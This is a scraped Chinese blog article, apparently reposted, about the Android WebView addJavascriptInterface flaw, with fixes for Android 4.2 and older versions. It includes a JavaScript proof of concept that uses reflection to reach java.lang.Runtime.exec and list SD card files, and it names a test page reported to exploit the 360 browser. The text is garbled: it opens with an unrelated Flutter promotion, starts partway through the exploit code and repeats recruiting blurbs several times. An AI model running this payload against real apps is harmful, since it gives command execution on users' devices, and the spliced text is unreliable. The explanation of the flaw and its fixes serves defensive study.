总结
写到这里也结束了,在文章最后放上一个小小的福利,以下为小编自己在学习过程中整理出的一个关于Flutter的学习思路及方向,从事互联网开发,最主要的是要学好技术,而学习技术是一条慢长而艰苦的道路,不能靠一时激情,也不是熬几天几夜就能学好的,必须养成平时努力学习的习惯,更加需要准确的学习方向达到有效的学习效果。
由于内容较多就只放上一个大概的大纲,需要更及详细的学习思维导图的
还有高级UI、性能优化、架构师课程、NDK、混合式开发(ReactNative+Weex)微信小程序、Flutter全方面的Android进阶实践技术资料,并且还有技术大牛一起讨论交流解决问题。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
-
}
-
var p = execute([“ls”,”/mnt/sdcard/”]);
-
document.write(getContents(p.getInputStream()));
-
</script>
-
<script language=“javascript”>
-
function onButtonClick()
-
{
-
// Call the method of injected object from Android source.
-
var text = jsInterface.onButtonClick(“从JS中传递过来的文本!!!”);
-
alert(text);
-
}
-
function onImageClick()
-
{
-
//Call the method of injected object from Android source.
-
var src = document.getElementById(“image”).src;
-
var width = document.getElementById(“image”).width;
-
var height = document.getElementById(“image”).height;
-
// Call the method of injected object from Android source.
-
jsInterface.onImageClick(src, width, height);
-
}
-
</script>
-
</head>
-
<body>
-
<p>点击图片把URL传到Java代码</p>
-
<img class=“curved_box” id=“image”
-
οnclick=“onImageClick()”
-
width=“328”
-
height=“185”
-
src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”
-
οnerrοr=“this.src=’background_chl.jpg’”/>
-
</p>
-
<button type=“button” οnclick=“onButtonClick()”>与Java代码交互</button>
-
</body>
-
</html>
点击图片把URL传到Java代码
<img class=“curved_box” id=“image”
οnclick=“onImageClick()”
width=“328”
height=“185”
src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”
οnerrοr=“this.src=‘background_chl.jpg’”/>
<button type=“button” οnclick=“onButtonClick()”>与Java代码交互
这段HTML的运行效果如下:
图一:期望运行结果图
上图中,点击 按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击 图片后,把图片的URL,width,height传到Java层,也用toast显示出来。
要实现这样的功能,就需要注Java对象。
简单说明一下
1,请看 **execute()**这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。
2,getContents()方法,从流中读取内容,显示在界面上。
3,关键的代码就是以下两句
[javascript] view plain copy
-
return window[obj].getClass().forName(“java.lang.Runtime”).
-
getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);
return window[obj].getClass().forName(“java.lang.Runtime”).
getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);
Java代码实现如下:
[java] view plain copy
-
mWebView = (WebView) findViewById(R.id.webview);
-
mWebView.getSettings().setJavaScriptEnabled(true);
-
mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);
-
mWebView.loadUrl(”file:///android_asset/html/test.html”);
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);
mWebView.loadUrl(“file:///android_asset/html/test.html”);
需要添加的权限:
[html] view plain copy
-
<uses-permission android:name=“android.permission.INTERNET”/>
-
<uses-permission android:name=“android.permission.ACCESS_NETWORK_STATE” />
-
<uses-permission android:name=“android.permission.WRITE_EXTERNAL_STORAGE” />
当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)
图二:实际运行结果,列出了SDCard中的文件
**举例二:**360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7
在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,然后前往,它会出现如下的界面
图三:360浏览器运行结果
说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。
在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示
图四:错误结果
4,解决方案
1,Android 4.2以上的系统
在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:
[java] view plain copy
-
class JsObject {
-
@JavascriptInterface
-
public String toString() { return “injectedObject”; }
-
}
-
webView.addJavascriptInterface(new JsObject(), “injectedObject”);
-
webView.loadData(”“, “text/html”, null);
-
webView.loadUrl(”javascript:alert(injectedObject.toString())”);
class JsObject {
@JavascriptInterface
public String toString() { return “injectedObject”; }
}
webView.addJavascriptInterface(new JsObject(), “injectedObject”);
webView.loadData(“”, “text/html”, null);
webView.loadUrl(“javascript:alert(injectedObject.toString())”);
2,Android 4.2以下的系统
这个问题比较难解决,但也不是不能解决。
首先,我们肯定不能再调用addJavascriptInterface方法了。关于这个问题,最核心的就是要知道JS事件这一个动作,JS与Java进行交互我们知道,有以下几种,比prompt, alert等,这样的动作都会对应到 **WebChromeClient**类中相应的方法,对于prompt,它对应的方法是 **onJsPrompt**方法,这个方法的声明如下:
[java] view plain copy
-
public boolean onJsPrompt(WebView view, String url, String message,
-
String defaultValue, JsPromptResult result)
public boolean onJsPrompt(WebView view, String url, String message,
String defaultValue, JsPromptResult result)
通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路我们能不能找到解决方案呢?
经过一番尝试与分析,找到一种比较可行的方案,请看下面几个小点:
【1】让JS调用一个Javascript方法,这个方法中是调用prompt方法,通过prompt把JS中的信息传递过来,这些信息应该是我们组合成的一段有意义的文本,可能包含: 特定标识,方法名称,参数等。在 **onJsPrompt**方法中,我们去解析传递过来的文本,得到方法名,参数等,再通过反射机制,调用指定的方法,从而调用到Java对象的方法。
【2】关于返回值,可以通过prompt返回回去,这样就可以把Java中方法的处理结果返回到Js中。
【3】我们需要动态生成一段声明Javascript方法的JS脚本,通过loadUrl来加载它,从而注册到html页面中,具体的代码如下:
[javascript] view plain copy
-
javascript:(function JsAddJavascriptInterface_(){
-
if (typeof(window.jsInterface)!=‘undefined’) {
-
console.log(’window.jsInterface_js_interface_name is exist!!’);}
-
else {
-
window.jsInterface = {
-
onButtonClick:function(arg0) {
-
return prompt(‘MyApp:’+JSON.stringify({obj:‘jsInterface’,func:‘onButtonClick’,args:[arg0]}));
-
},
-
onImageClick:function(arg0,arg1,arg2) {
-
prompt(’MyApp:’+JSON.stringify({obj:‘jsInterface’,func:‘onImageClick’,args:[arg0,arg1,arg2]}));
-
},
-
};
-
}
-
}
-
)()
最后
这里我希望可以帮助到大家提升进阶。
内容包含:Android学习PDF+架构视频+面试文档+源码笔记,高级架构技术进阶脑图、Android开发面试专题资料,高级进阶架构资料 这几块的内容。非常适合近期有面试和想在技术道路上继续精进的朋友。
喜欢本文的话,不妨给我点个小赞、评论区留言或者转发支持一下呗~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
最后
这里我希望可以帮助到大家提升进阶。
内容包含:Android学习PDF+架构视频+面试文档+源码笔记,高级架构技术进阶脑图、Android开发面试专题资料,高级进阶架构资料 这几块的内容。非常适合近期有面试和想在技术道路上继续精进的朋友。
喜欢本文的话,不妨给我点个小赞、评论区留言或者转发支持一下呗~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!